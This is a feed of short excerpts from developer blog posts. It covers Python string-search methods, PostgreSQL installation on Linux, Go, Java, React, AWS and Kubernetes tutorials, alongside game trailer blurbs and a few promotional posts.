    Buy Me a Coffee☕ *Memos: My post explains count() with a string and byte string. My post explains find() with a string and byte string. My post explains rfind() with a string and byte string. My post explains index() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.rindex() and bytes.rindex() or bytearray.rindex() can find the 1st substring and byte substring respectively, searching from the right to the left to return the index (with error if the substring and byte substring respectively aren't found) as shown below: *Memos: The 1st argument is sub(Required-Type:str for str.rindex() or bytes-like object for bytes.rindex() and bytearray.rindex()): It's the substring or byte substring of zero or more charac…  ( 6 min )
    POSTGRESQL INSTALLATION MADE EASY ON LINUX SERVERS
    STEP BY STEP GUIDE ON INSTALLATION OF PostgreSQL ON A LINUX SERVER. INTRODUCTION PostgreSQL has overtaken the database system and learning how to install it is an essential skill as it is used in various web applications and data driven applications. In this article we will learn how to install PostgreSQL on a Linux server hosted by Microsoft Azure. This tutorial will include creating a virtual Linux computer, connecting it using SSH with Gitbash and installing PostgreSQL. A Microsoft Azure account. Go to https://portal.azure.com In the search bar, type Virtual machines Click + Add > Virtual machine Fill in the form: Name: student1 Region: Choose the closest location Image: Ubuntu 20.04 LTS Size: Standard B1s (or any small size) Authentication Type: SSH public key Username: e.g., student Click Review + Create Click Create Important: Save your private SSH key, you’ll need it to connect to the VM. Go to the virtual computer and copy the IP address. ssh ssh -i /path/to/your/student1 student@IP address Once you are logged into the server enter the following commands. sudo apt update STEP 4: Check PostgreSQL status. Run the following command; sudo systemctl status postgresql (https://www.cherryservers.com/v3/assets/blog/2021-10-08/01.png) Run the following commands; sudo systemctl start postgresql STEP 6: Swith to PostgreSQL user. Run the command; sudo -i -u postgres psql Inside the psql shell you can create a database; \l -- to list databases \!q -- to exit exit (https://www.tecmint.com/wp-content/uploads/2017/11/Connect-PostgreSQL-Database.png) Your PostgreSQL is now succesfully installed onto your virtual Linux server. (https://github.com/Njeri-Kimaru/dbeaver/blob/main/Screenshot%202025-08-04%20005330.png)  ( 6 min )
    index in Python
    Buy Me a Coffee☕ *Memos: My post explains count() with a string and byte string. My post explains find() with a string and byte string. My post explains rfind() with a string and byte string. My post explains rindex() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.index() and bytes.index() or bytearray.index() can find the 1st substring and byte substring respectively, searching from the left to the right to return the index (with error if the substring and byte substring respectively aren't found) as shown below: *Memos: The 1st argument is sub(Required-Type:str for str.index() or bytes-like object for bytes.index() and bytearray.index()): It's the substring or byte substring of zero or more characters.…  ( 6 min )
    IGN: Lost Soul Aside - Official Weapons Trailer
    Lost Soul Aside just dropped its new “Weapons” trailer, giving us a front-row seat to jaw-dropping action as you swap gear, chain together wild combos, and learn enemy patterns to save your sister (and humanity) in epic, visually stunning battles. Lock in August 29 on your calendar—this adrenaline-fueled RPG blasts onto PS5 and PC, and you won’t want to miss it. Watch on YouTube  ( 5 min )
    IGN: Marvel Tokon: Fighting Souls - Official PS5 Closed Beta Announcement Trailer
    Marvel Tokon: Fighting Souls Closed Beta Incoming Get ready to brawl with your favorite Marvel icons in this fast-paced fighter from ARC System Works! The PS5 Closed Beta (Sept. 5–7) lets you duke it out online as six playable characters—think Spider-Man, Iron Man, Storm, Dr. Doom and more—complete with spectator mode and a training tutorial to sharpen your skills. The full game is heading to PS5 and PC, but if you’ve got a PlayStation 5, jump into the exclusive closed beta for a sneak peek at the action! Watch on YouTube  ( 5 min )
    IGN: Invincible VS - Official Omni-Man Gameplay Trailer
    Invincible VS is a new fighting game spinoff from Robert Kirkman’s Invincible universe, pitting fan-favorites like Invincible, Atom Eve, Battle Beast—and the freshly announced Omni-Man—against each other in gore-soaked brawls. Expect bone-crushing combos, carnage, and over-the-top action that stays true to the show’s brutal spirit. Rolling out in 2026 for PS5, Xbox Series X|S, and PC (Steam), Invincible VS promises to be the ultimate pit-fight for fans craving next-level comic-book violence. Watch on YouTube  ( 5 min )
    rfind in Python
    Buy Me a Coffee☕ *Memos: My post explains count() with a string and byte string. My post explains find() with a string and byte string. My post explains index() with a string and byte string. My post explains rindex() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.rfind() and bytes.rfind or bytearray.rfind() can find the 1st substring and byte substring respectively, searching from the right to the left to return the index (without error even if the substring and byte substring respectively aren't found) as shown below: *Memos: The 1st argument is sub(Required-Type:str for str.rfind() or bytes-like object for bytes.rfind() and bytearray.rfind()): It's the substring or byte substring of zero or more chara…  ( 6 min )
    Installing and setting up PostgreSQL on a Linux server
    Step 1: Updating the system You should update your server packages to ensure all existing packages are up to date. This can be done by running the commands: Step 2: Installing PostgreSQL The following commands are run when installing PostgreSQL and its necessary packages: Step 3: Verifying the installation. The PostgreSQL service should start automatically after complete installation. The following commands are used to verify the installation. Sudo systemctl status PostgreSQL Step 4: Accessing the PostgreSQL shell Sudo -I -u postgres Step 5: Creating a new user and Database To create a new user, the following command is used: Step 6: Secure your installation with a firewall Enable a firewall like ufw on ubuntu to restrict external access. You must first open the default PostgreSQL port, 5432 to allow remote connections. Sudo ufw allow 5432/tcp End. You have now successfully installed and setup PostgreSQL on your Linux server. You have created a user and a database, and secured the connection.  ( 5 min )
    Efficient Concurrency in Go Using select
    In the Go programming language, Goroutines and Channels are essential concepts in concurrent programming. They help solve various problems related to concurrency. This article focuses on select, which serves as a bridge for coordinating multiple channels. select What is select select is a control structure in Go used to choose an executable operation among multiple communication operations. It coordinates read and write operations on multiple channels, enabling non-blocking data transmission, synchronization, and control across several channels. select The select statement in Go provides a mechanism for multiplexing channels. It allows us to wait for and handle messages on multiple channels. Compared to simply using a for loop to iterate over channels, select is a more effic…  ( 10 min )
    find in Python
    Buy Me a Coffee☕ *Memos: My post explains count() with a string and byte string. My post explains rfind() with a string and byte string. My post explains index() with a string and byte string. My post explains rindex() with a string and byte string. My post explains encode() and decode() with a string and byte string. My post explains a string. str.find() and bytes.find() or bytearray.find() can find the 1st substring and byte substring respectively, searching from the left to the right to return the index (without error even if the substring and byte substring respectively aren't found) as shown below: *Memos: The 1st argument is sub(Required-Type:str for str.find() or bytes-like object for bytes.find() and bytearray.find()): It's the substring or byte substring of zero or more characte…  ( 6 min )
    Java Records Constructor Validation: Beyond the Boilerplate
    Java Records, finalized in Java 17, provide a concise way to create immutable data carriers. But what happens when your clean Record needs to validate its data? Suddenly, that elegant one-liner becomes a validation challenge. Let me show you three approaches to Record validation I've encountered in production code, and why I ended up building a new solution. Consider this simple user registration scenario: public record User(String name, String email, int age) {} Clean, right? But in production, you need validation: Name: 2-50 characters, not null or empty Email: valid format, not null Age: 0-120, reasonable range Suddenly, your elegant Record isn't so simple anymore. The most straightforward approach is manual validation in the compact constructor: public record User(String name, String …  ( 8 min )
    Leet Code Solutions / Explanations
    I thought I'd begin this series, tutorials on how to solve Leet Code problems with solutions, but more importantly explanations on why the proposed solution was submitted, and works. Important: This does not mean they're the best solution, but certainly a viable one if you're stuck.  ( 5 min )
    Recreating Apple’s AirTag Landing Page in React + Tailwind (8‑min speed‑run)
    Apple’s product pages are great examples of clean design, subtle animation, and precise typography. Inspired by this, I set myself a challenge: could I recreate the AirTag landing page and present the process in under ten minutes? The result is a pixel‑perfect build using React (Vite) and Tailwind CSS, documented in an eight‑minute speed‑run video. The official AirTag page opens with the tagline “Lose your knack for losing things” and uses simple sections like: “Ping it. Find it.” “Precision Finding” “Get by with a little help” (apple.com/airtag) These elements make it a great UI challenge—minimal content but high polish. Scaffolding – Bootstrapped a Vite + React + TypeScript project and added Tailwind CSS. Figma – Created a layout in Figma inspired by Apple’s page and exported the assets. The Figma file is included in the repo’s figma folder. Components – Each section (hero, feature cards, CTA) is a separate React component. Tailwind utility classes handle spacing, and typography. Speed‑run video – I recorded the build process and condensed it into a fast-paced video that runs just over eight minutes. 🎬 Watch the 8‑minute build video 💻 Browse the code on GitHub Utility‑first styling speeds things up – Tailwind let me prototype quickly without leaving the markup. Figma is a great source of truth – Having a pixel‑perfect reference meant less guesswork. Feedback is invaluable – I’m eager to hear from other front‑end devs—how would you enhance this? Maybe add animations Improve accessibility Refactor the component structure? Feel free to share feedback in the comments or submit pull requests!  ( 6 min )
    A Promising Automation Idea? #28
    Servus and welcome to Day 28 of building my own startup — and today, something new popped up. I talked to a friend today who gave me a super interesting idea for a business automation feature. The cool part? It's something that might even be sellable as a standalone product. Right now I’m: Researching how to implement this automation Thinking about the market potential if I made it modular or separate Sometimes the best ideas come from casual conversations. I'll keep you posted if I decide to build it out. And if anyone here has experience with monetizing small automations: Drop your tips below! Thanks for reading, Jonathan (0xj0n1)  ( 5 min )
    Why RuneScape Private Servers Are Still Growing in 2025
    RuneScape has been around for over twenty years but the private server community is still growing. In fact it feels more active now than ever before. Private servers or RSPS let players enjoy the game in new ways. Some servers offer faster leveling. Others have custom bosses or completely different content. What used to be small projects with bugs and missing features have become stable games with big player bases. So what is driving this growth One reason is better tools. Developers now have access to more open source server files and better client emulators. Setting up a server used to take weeks. Now it can be done in a day. Some developers have even added their own systems like raids or skill trees from scratch. Another big reason is mobile gaming. More people are playing games on their phones so RSPS owners are starting to think about mobile support. A few servers already run well on Android and more are working toward that. AI tools have helped too. Some RSPS developers use AI to help write quests or fix bugs faster. This saves time and keeps players engaged with fresh content. Promotion is also easier now. There are websites that list and rank servers so players can find active ones quickly. One of the most updated sites is rsps100.com where you can browse top servers by votes or activity. If you are a developer or even just curious about game design RSPS is a great space to explore. You can learn about multiplayer systems economy balancing and player feedback all in a live environment. Private servers are not just copies of the original game anymore. They are creative projects shaped by both nostalgia and modern tools. And they are not slowing down anytime soon.  ( 6 min )
    A step-by-step guide on how to install PostgreSQL on a Linux server
    #Introduction. #Preparing your terminal for installation. 'sudo apt update' and then enter. 'sudo apt upgrade -y'. #Installation Command Lines. 'sudo apt install PostgreSQL PostgreSQL -contrib'. #Activation of the PostgreSQL database. 'sudo systemctl start PostgreSQL' 'sudo systemctl enable PostgreSQL' 'sudo systemctl status PostgreSQL'  ( 6 min )
    Lessons Learned @ MLH Fellowship - Production Engineering Track
    As a University student with only a barebones understanding of fullstack development, I've always relied on managed platforms like vercel or netlify to help deploy my projects. And while I've always been curious as to how CI/CD works, the opportunity to learn never really presented itself. At least, not until recently. 7 weeks ago, I started my journey in this summer's cohort in the Production Engineering track @ MLH and I've learned so much since then. Big thanks to DigitalOcean and MLH for the VPS! Manual Deployment For the first time ever, I got to deploy a web application on my own server! MLH provided all of us in the program with a VPS to deploy a web application (built using flask), which I helped build in the first week of the program. Run and detach the web server th…  ( 6 min )
    Maximize Storage with Smart WMS Tools
    From receiving to picking and shipping—simplify your entire warehouse workflow with a modern, cloud-based WMS built for speed and accuracy. https://libera.run/warehouse-management-system  ( 5 min )
    Mission 9: Navigating Outcomes Part One
    It might have taken a lot of time to get here, but it is here. You are finally at mission 9, the last mission in the CNC2018 Get a Job challenge. This mission is all about the two outcomes you will encounter during the job search process. The homework for this mission had job participants share how the job search process was going for them. Participants could post in the CNC2018 Get a Job Facebook group or on social media using the #CNC2018 hashtag. This week Code Newbie posted celebration GIFs for any participants who received any offers. You can post your homework for this mission in the comments section of this post. We can celebrate any offers in the comments section. Don’t be afraid to use the comments as a place to get extra advice or extra help with the job search. This mission w…  ( 11 min )
    Solana Hold Your Funds, Redeem Them Now?
    Solana Hold Your Funds, Redeem Them Now? As a developer coming from the Ethereum blockchain, where I've built numerous apps, one key difference I noticed is that Ethereum accounts do not require specific storage for tokens. Your wallet address handles everything native ETH, ERC20 tokens, and NFTs. However, after diving into Solana development for nearly two years, I’ve discovered something unique and worth discussing: rent on Solana. What is it, and can you get it back? Let's explain it in simple terms. On Ethereum, the ecosystem revolves around three main types of tokens: Native ETH: Used to pay for gas and governance. ERC20: Fungible tokens for projects like stablecoins or utility tokens. NFTs: Unique, non-fungible tokens for digital collectibles or assets. When you create an Ethereum …  ( 8 min )
    AWS Cloud Path Week 18: Building a Serverless Coffee Shop Backend
    In this session of AWS Cloud Path, we try our hands at building a serverless backend for a coffee shop ordering system using AWS Step Functions, Lambda, DynamoDB, and EventBridge. The system handles order processing, barista notifications, and order status updates in a completely serverless architecture. Check out the workshop here: Serverlesspresso Workshop Missed the session? Catch up here: AWS Account with appropriate permissions Basic understanding of serverless architecture Familiarity with AWS services The application consists of three front-end components: Overhead monitor display Barista application Customer ordering application The backend system needs to handle requests from all these front-ends while managing different data payloads for each interface. QR code-based ordering sys…  ( 9 min )
    C# Excel sortable headers
    Introduction Learn how to create sortable headers by creating a table for the data in an Excel Worksheet in C# using the NuGet package SpreadsheetLight. Its free, there is a downloadable help file and plenty of sample code. The package does not provide methods to read WorkSheets but there are packages such as ExcelMapper which is used in the sample code. This depends on a developer’s experience and comfort level with C#. Most developers can inspect code, configure the database, and then run the console project. From here, study the code that has useful class and method names. The main project is a console project that has the EF Core code and a class project for Excel operations. Separating Excel operations into a class project allows other project types to use the Excel code. Rather tha…  ( 10 min )
    Convert HTML Tables to CSV Instantly — Free, Fast, and Online
    We’ve all been there — copy-pasting a table from a website or PDF and trying to turn it into a clean CSV. TrixaHub.com — and it saves a ridiculous amount of time. 🔧 What It Does: ✅ Converts raw HTML tables or structured data into clean CSV 💡 Why I Built It As a developer, I got tired of writing throwaway scripts every time I needed to clean up a one-time table for a project, a blog post, or data analysis. 📦 Use Cases Developers needing quick CSV exports from documentation tables Data analysts scraping table-based datasets Students dealing with formatted academic tables Anyone tired of messy tabular copy-paste situations 🖱️ Try it now: 👉 https://trixahub.com/table-to-csv-converter/ 🧠 Bonus Tip: If you're working in Python or JS and often parse HTML tables, you might still use this to quickly validate or pre-clean source data. I'd love feedback — feature ideas, bugs, edge cases — drop a comment! And if this tool saved you a headache today, feel free to share it with your dev or data fam. 🙌 developers #productivity #webdev #csv #tools #opensource #datatools #html #freebies #TrixaHub  ( 6 min )
    How much of your job is actual coding vs. prompting AI to code for you?
    I realize that AI can do almost anything these days. I can code most tasks myself, but AI often does it 10 times faster than I can. So I’m curious, how do you approach your work? Would love to hear how others balance between manual coding and AI assistance in their daily workflow.  ( 5 min )
    IGN: Lost Soul Aside - Official Weapons Trailer
    Lost Soul Aside Official Weapons Trailer Catch the latest “Weapons” trailer for Lost Soul Aside, the high-octane action RPG from Ultizero Games. You’re on a mission to save your little sister—plus humanity itself—by mixing and matching weapons, mastering attack patterns, and predicting your enemies’ moves in visually spectacular, adrenaline-fueled battles. Mark your calendar for August 29, when Lost Soul Aside launches on PlayStation 5 and PC. Get ready to hack, slash, and strategize your way through a world on the brink! Watch on YouTube  ( 5 min )
    IGN: Street Fighter 6 - Official C. Viper Teaser Trailer
    Street Fighter 6 just unleashed an electrifying teaser for its next fighter, C. Viper. In true Capcom fashion, she’s packing incendiary gauntlets, seismic boots and gravity-defying kicks that turn the ring into her personal playground. Get ready to master her gadget-fueled combos and sneaky techniques—C. Viper is blasting into Street Fighter 6 in autumn 2025! Watch on YouTube  ( 5 min )
    The Future of Machine Learning: Why CPUs, GPUs, NPUs, and TPUs Are Essential for AI Success
    As we stand on the brink of technological innovation, the rapid advancements in artificial intelligence (AI) hardware are transforming the landscape of machine learning (ML) performance. The efficiency and capabilities of processors have become paramount in harnessing the full potential of AI, making it possible to tackle increasingly complex problems with unprecedented speed and accuracy. This article delves into four key types of AI hardware: Central Processing Units (CPUs), Graphics Processing Units (GPUs), Neural Processing Units (NPUs), and Tensor Processing Units (TPUs). Each plays an essential role in the computation used for training models, executing algorithms, and deploying AI applications. By exploring the strengths and weaknesses of these processors, we aim to provide an insig…  ( 17 min )
    Hook Studio
    This post is my submission for DEV Education Track: Build Apps with Google AI Studio. A tool where users can paste a video idea and receive 10 catchy TikTok hook lines in 30 seconds, with an upsell to an unlimited monthly subscription. link to applet https://aistudio.google.com/u/2/apps/drive/1px-qlD8L0Wo1lF3jUNSl30PK8Cy-GREN?showPreview=true&resourceKey=. Share your key takeaways from working through the track. It was great though how far we have come in ai cloud coding agent platforms. But they still lack the awareness of code integration even though context provided. What did you learn? Can use gemini as coding side-guy but can't to much rely on it as it is not even capable to solve basic use effect error making app crash in the process What was surprising? The listing updated file approach for updated files. easy overview of work done.  ( 5 min )
    From Zero to Global in 5 Minutes: How I Deployed My React AI App with EdgeOne Pages
    Hey Dev community! We've all been there. You've just finished coding a project you're proud of. The UI is slick, the logic is solid, and it's running perfectly on localhost. Now comes the part that can often be a chore: deployment. Setting up servers, configuring build pipelines, managing SSL certificates... it can be a real momentum killer. For my latest project, Foundry.AI, an AI-powered branding tool built with React, I wanted to find a deployment solution that was as fast and modern as the app itself. I decided to try Tencent Cloud's EdgeOne Pages, and I was genuinely blown away by how incredibly smooth and easy the process was. Today, I want to walk you through how I took my React application from a GitHub repository to a live, globally-accelerated URL in literally under 5 minutes. Th…  ( 7 min )
    This $1 Course Helped Me Launch a Micro SaaS in 10 Days
    ✅ Built my MVP in a weekend If you’ve been lurking on Hacker News, Dev.to, or Indie Hackers waiting for the “right time” to build your startup… The time is now. In 2026, building a profitable Micro SaaS is easier than ever—and you don’t need VC money, a big dev team, or even to write much code. This post breaks down how I used a $1 course to launch my first Micro SaaS using nothing but AI tools, no-code platforms, and automation workflows—all in under 10 days. 👉 Check out the full course here Micro SaaS is trending because it's: Low-risk (cheap stack, solo-friendly) Highly profitable (recurring revenue + tiny churn) Easy to validate (find a pain point, build 1 feature) Scalable without VC funding In 2026, more developers are quitting traditional dev jobs to run tiny automated SaaS busines…  ( 8 min )
    Basic Exception Handling in Java Spring
    Overview In this post, we’re going to talk about what exceptions are and how to handle errors in a Java project using @ControllerAdvice. We’ll go over creating custom exceptions and sending back the right HTTP status codes. By the end, your API will be easier to maintain, more reliable, and give your users clearer error messages. Let’s start with the basics: what’s an exception? Trying to access a file that doesn’t exist. Dividing by zero. Our always friend, NullPointerException. When an exception occurs: Java creates an exception object with details about the error. The regular flow of the application stops. Java tries to find a matching handler to deal with the exception. There are two main types of exceptions: Checked exceptions → Must be either caught or declared (e.g., IOException).…  ( 6 min )
    Veo 3 now available in Gemini Pro
    Veo 3 is a powerful video generation model by Google Deepmind, which was originally available through Vertex (Google Cloud). Now available with Google Gemini Pro, it can be used with limited access. The usage is limited to 3 videos per day and also the video that can be generated is 8 seconds. Though the numbers are very small, it can be fun to experiment with it. Here are some of the prompts that I tried with this video generation: For the initial attempt, I went with one of the traditional concepts using a cat and it was good. A kitten playing guitar in a street For the next one, I tried to get a video of screen recording/sharing of a code editor with some Python code. Even though the specifications are mentioned in the prompt, the video that was generated by the model wasn’t very accurate with respect to the specifics. A screenshare video (macOS — Visual Studio Code Editor) of typing a Python code (code for factorial of a number) without any audio It was able to create the title for the video very specific to my description in the prompt but not the video :) The above examples are with the mode of Text-to-Video. Additionally, you can try to create a video with an image input (something like Image-Text-to-Video) with the prompt to the model. This is still limited to the 8-seconds video length restriction. This video generation model can also be accessed via Gemini API on a paid-preview basis (more details on the official documentation page). Try out some of your own prompts and play with the model. Happy Learning !!  ( 6 min )
    AWS Cloud Path Week 16: AWS Networking Workshop Part 6 (Final) -Understanding AWS Gateway Load Balancer
    In this hands-on session on AWS networking, we'll explore AWS Gateway Load Balancer (GWLB) and understand its role in managing network traffic and security appliances. Missed the session? Catch up here: An AWS account with administrative access Basic understanding of AWS VPC and networking concepts Familiarity with AWS Console navigation AWS Gateway Load Balancer (GWLB) is a unique type of load balancer specifically designed to help you deploy, scale, and manage your third-party virtual appliances. It's particularly useful when working with security appliances and other network virtual appliances. Network Layer Operation: GWLB operates at Layer 3/4 (Layer 3 Gateway + Layer 4 Load Balancing) of the OSI model This differs from Application Load Balancer (Layer 7) and Network Load Balancer (L…  ( 9 min )
    Why You Shouldn’t Define a Component Inside Another Component in React
    The Temptation You’re building a dashboard and need a profile card for the logged-in user. function Dashboard({ user }) { function ProfileCard() { return ( {user.name} {user.role} Dashboard ); } It works. The UI renders. You move on. 🚀 Every time Dashboard re-renders, whether because user changes or some unrelated state updates, React recreates the ProfileCard function. That one fact breaks React’s reconciliation process and can lead to: State loss inside ProfileCard Extra unmount/mount cycles Wasted DOM operations Reconciliation is how React updates the UI without throwing everything away. Steps simplified: Build a new virt…  ( 7 min )
    Kubernetes Ingress Playlist Part 1 - Understanding Ingress Controllers
    As organizations adopt microservices architecture and Kubernetes for deploying containerized applications, one critical question arises: “How do external users securely access my services running inside the Kubernetes cluster?” By default, Kubernetes provides service types like ClusterIP, NodePort, and LoadBalancer to expose applications. However: ClusterIP only allows internal access. NodePort exposes your app on every node's IP and a static port — not ideal for production. LoadBalancer provisions a cloud provider load balancer — but one per service, which is expensive and harder to manage at scale. Imagine a production app with: A frontend UI service A backend API service An admin dashboard A metrics endpoint If you use LoadBalancer for each, you’ll quickly rack up cloud costs and lose c…  ( 8 min )
    Java Inheritance
    1. GeeksforGeeks – Inheritance in Java Covers the basics of inheritance with syntax and examples. Explains method overriding, runtime polymorphism, and code reusability. Includes a neat example with Animal, Dog, Cat, and Cow classes. class Animal { void sound() { System.out.println("Animal makes a sound"); } } class Dog extends Animal { void sound() { System.out.println("Dog barks"); } } public class Main { public static void main(String[] args) { Dog d = new Dog(); d.sound(); // Output: Dog barks } } Breaks down single, multilevel, and hierarchical inheritance. Uses simple code snippets to show how child classes inherit from parent classes. Great for beginners who want to understand the “extends” keyword and class relation…  ( 6 min )
    Turn History PDF Books into AI-Ready Q&A Datasets with This Python Tool!
    Hey guys! I’m thrilled to share a Python tool I’ve built that transforms history books (in PDF format) into structured Q&A datasets, perfect for fine-tuning AI models. Whether you’re an AI researcher, a history enthusiast, or a data scientist, this tool makes it easy to generate high-quality datasets from historical texts—and it’s flexible enough to work with any PDF book! 🚀 The History Book to Dataset Generator uses natural language processing and local AI models (via Ollama) to extract text from PDFs, chunk it intelligently, and generate contextual Q&A pairs. The output is a JSONL file ready for fine-tuning models like Llama 3.1 or Mistral. Plus, it’s packed with features to streamline the process and ensure quality. PDF Processing: Extracts and chunks text from PDF files for efficient …  ( 7 min )
    LLM Hallucinations: When AI Goes Off the Rails
    Language models have become surprisingly capable at many tasks, from writing code to answering complex questions. But there's a troubling phenomenon lurking beneath their impressive performance: hallucinations. These aren't the mysterious visions of science fiction, but something far more mundane yet equally concerning—AI systems confidently generating information that simply isn't true. At its core, an LLM hallucination occurs when a model generates content that sounds plausible and coherent but is factually incorrect, nonsensical, or completely fabricated. Think of it as the AI equivalent of someone confidently telling you that Napoleon won the Battle of Waterloo or that there are 14 months in a year. The information flows smoothly and convincingly, but it's fundamentally wrong. The phen…  ( 9 min )
    The Beauty of Git: Writing Code Stories
    Most people understand the basics of what git is. add, commit -m "please work", push. Well, having this for a git workflow makes it feel like a burden more than a tool. Lemme expand your mind a little bit. Imagine your code like a story one you're telling to your future self or another developer joining you. Every commit is a chapter, every branch is a plot thread, and every merge is where storylines converge. When viewed this way, Git transforms from a mundane version control system into a powerful narrative tool that makes your development journey coherent, traceable, and beautiful. A well-crafted commit message is like a good book title it tells you exactly what to expect inside. Instead of cryptic messages like "fix stuff" or "updates," consider commits as documentation of your thought…  ( 8 min )
    Gateway-Oriented Architecture (GOA)
    ⚠️ This article was translated by AI. Click here to read the original version in Portuguese. In large-scale system development, the quantity and complexity of microservices can become a formidable enemy. After facing this enemy multiple times, I refined a set of architectural patterns. These patterns are the foundation of an approach I call Gateway-Oriented Architecture (GOA). GOA doesn't propose new components, but rather the disciplined organization of consolidated patterns to achieve maximum productivity and security. Gateway-Oriented Architecture (GOA) aims to simplify microservices development by isolating security and communication complexity into specialized components called Gateways. Instead of having each microservice handle authentication, authorization, routing, and public ex…  ( 7 min )
    Mastering Linear Search: Learn the Essentials of This Core Algorithm
    Among the various search algorithms, Linear Search stands out as the most fundamental. In this article, we will delve into the workings of Linear Search and break down its implementation step by step. Linear Search is a simple search algorithm that examines each element in a list one by one until it finds the desired element or reaches the end of the list. It doesn't need the data to be sorted. Let’s use the array below as an example and say we need to search for the number 63. The algorithm will first check the first element, 80. The index pointer will ask: “Is 80 the number we need?” The algorithm responds: “No, it’s not!” The index pointer moves to the next element, 14. The pointer asks, “Is 14 the number we’re looking for?” The algorithm replies, “No.” It will then move to the nex…  ( 8 min )
    How to Install and Set Up PostgreSQL on a Linux Server
    PostgreSQL is the world's most advanced,powerful,object-relational database management system known for its robust features,reliability and adherence to SQL standards.PostgreSQL is used for organising data into tables,where each table consists of rows and columns.To allow for complex data relationships and querying,these tables can be linked through keys.In this article,we're going to outline the procedure of installing postgreSQL then follow up with how to set it up on a linux server(ubuntu). Here's the procedure of installing postgreSQL on windows; 1.Go to your browser and type postgreSQL With PostgreSQL now installed and fully configured on your Linux server,you've unlocked the gateway to one of the most powerful and reliable open-source database available.Whether you're building a small application or scaling enterprise level infrastructure,postgreSQL offers the speed,security and flexibility you need.The installation may seem technical at first ,but as you've seen,with the right command and structure, it becomes a managable and rewarding process.So go ahead and start building,querying and scaling with confidence.Your Linux server is now powered by a true database workhorse!  ( 6 min )
    Linus revolutionizes ☀️
    Introduction ✈️ Hello again, curious brains 🧠. In this second chapter of our series, we trace the origins of one of the most influential software developments in history: Linux. While many people recognize the name, few understand the amazing path that began with a single line of code by Linus Torvalds and continued through a critical alliance to the large ecosystem of operating systems we see today. Prepare to discover the critical milestones that developed Linux into the global power it is today. Personal computers were growing more popular in 1991, but accessible and fully open operating systems remained uncommon. Linus Torvalds, a computer science student at the University of Helsinki, found himself in the exact same scenario. He was working with Minix, an educational Unix-like o…  ( 9 min )
    Arquitetura Orientada a Gateways (GOA — Gateway-Oriented Architecture)
    No desenvolvimento de grandes sistemas, a quantidade e complexidade de microserviços podem se tornar um inimigo desafiador. Depois de enfrentar esse inimigo diversas vezes, refinei um conjunto de padrões. Estes padrões são os pilares de uma abordagem que eu chamo de Arquitetura Orientada a Gateways (GOA). GOA não propõe novos componentes, mas sim a organização disciplinada de padrões consolidados para alcançar máxima produtividade e segurança. A Arquitetura Orientada a Gateways (GOA) tem como objetivo simplificar o desenvolvimento de microserviços ao isolar a complexidade de segurança e comunicação em componentes especializados chamados Gateways. Em vez de cada microserviço lidar com autenticação, autorização, roteamento e exposições públicas, a GOA estabelece fronteiras claras e seguras, …  ( 8 min )
    Zero-Downtime Architecture for Enterprise Systems: A Practical Guide to Always-On Services
    Picture this: It's Black Friday, and your e-commerce platform handles millions of transactions per hour. Suddenly, you need to deploy a critical security patch. In a traditional setup, this means taking the system offline, potentially losing thousands of customers and revenue. But with zero-downtime architecture, you can deploy seamlessly while customers continue shopping, blissfully unaware of the complex orchestration happening behind the scenes. This isn't just a nice-to-have anymore—it's table stakes for modern enterprise systems. Zero-downtime architecture is the art and science of designing systems that remain operational during updates, maintenance, and even partial failures. It's about creating resilient systems that can evolve without interrupting the user experience. But let's be…  ( 13 min )
    Testing Cognito secured AWS API Gateways with AWS Custom Resources
    Recently I experimented with Cognito secured AWS API Gateways and came across an annoying problem - how can I test my application end to end without having to log in to Cognito with a Browser? Removing the Cognito Authorizer for testing purposes would be one option, but there are cases where applications make use of the tokens for access control or other mechanisms and changing the application behaviour with regards to tokens just for tests doesn't seem be right. Fortunately, CDK supports custom AWS resources that can be used to create dummy users with all the attributes necessary! First, we define a Lambda that backs our API. For the purposes of this, the Lambda will just return the AWS Region in which it runs. producer/main.go package main import ( "context" "encoding/json" …  ( 7 min )
    IGN: Lost Soul Aside - Official Weapons Trailer
    Lost Soul Aside’s new Weapons Trailer serves up a taste of its fluid, combo-driven combat—think lightning-quick weapon swaps, mix-and-match attack patterns, and boss-learning showdowns, all wrapped in eye-popping VFX. Your mission? Rescue your little sister and fend off humanity’s doom in Ultizero Games’ action RPG, landing August 29 on PS5 and PC. Watch on YouTube  ( 5 min )
    IGN: Invincible VS High-Level Gameplay | EVO 2025
    Invincible VS brings all the blood-soaked mayhem of the hit comic-turned-TV series to a new fighting game, letting you brawl as Invincible, Atom Eve, Battle Beast and more with bone-crunching combos and over-the-top gore. Get hype with developer matches straight from Evo 2025, where the team flaunted flashy moves, brutal finishers and enough carnage to satisfy any fighting-game fanatic. Watch on YouTube  ( 5 min )
    IGN: Mortal Kombat Legacy Kollection - Developer Interview | EVO 2025
    Mortal Kombat Legacy Kollection – Developer Interview At Evo 2025, we swung by Digital Eclipse’s booth to chat with Head of Production Stephen Frost about the new Mortal Kombat Legacy Kollection. It’s more than just a game bundle: they’ve shot fresh documentary footage exploring the franchise’s origins and hand-picked classic titles to showcase MK’s evolution. Frost broke down why each game earned a spot and gave a shout-out to World of Longplay for letting them use PSX longplays of Mythologies: Sub-Zero and Special Forces. Whether you’re here for nostalgia or a deep dive, this collection looks set to thrill both die-hards and newcomers. Watch on YouTube  ( 5 min )
    A Solid Linux Resource I Keep Coming Back To
    Lately I’ve been trying to get more consistent with my Linux workflow — not just using it, but actually understanding what’s going on under the hood. While looking for practical, no-fluff resources, I came across this site that really clicked with me. It’s not overwhelming or packed with ads; just clean, focused content. There’s a section called the Linux Library that I’ve bookmarked already. It breaks down commands, concepts, and tools in a way that feels like a cheat sheet you’d actually use. Whether you’re brushing up on your terminal skills or exploring new tools, it’s super handy. What I liked most is that it doesn’t assume you’re a beginner, but also doesn’t throw jargon at you without explanation. It feels like it was written by someone who actually uses Linux daily and gets what’s useful in real-life situations.  ( 5 min )
    Cyclic Dependency in a Microservice Architecture
    So I tried to merge two Spring-Boot microservices. This post here documents the architectural flow, technical choices, Tech Stack - Java, SpringBoot, REST, Feign, Microservices architecture. Service A - port 8082: Input Processing (Service-A) POST http://localhost:8082/api/upload Primary Analysis (Service-A) GET http://localhost:8082/api/report/{uploadId}?force=true Service B - port 8083: Secondary Analysis (Service-B) GET http://localhost:8083/api/trust/report/{uploadId} Each service communicates over HTTP using Feign clients and follows a strict separation of concerns to maintain modularity and scalability. At this point, Service B depended on Service A, but not the other way around ... ensuring a unidirectional and loosely-coupled architecture. I wanted to enhance the user experience …  ( 11 min )
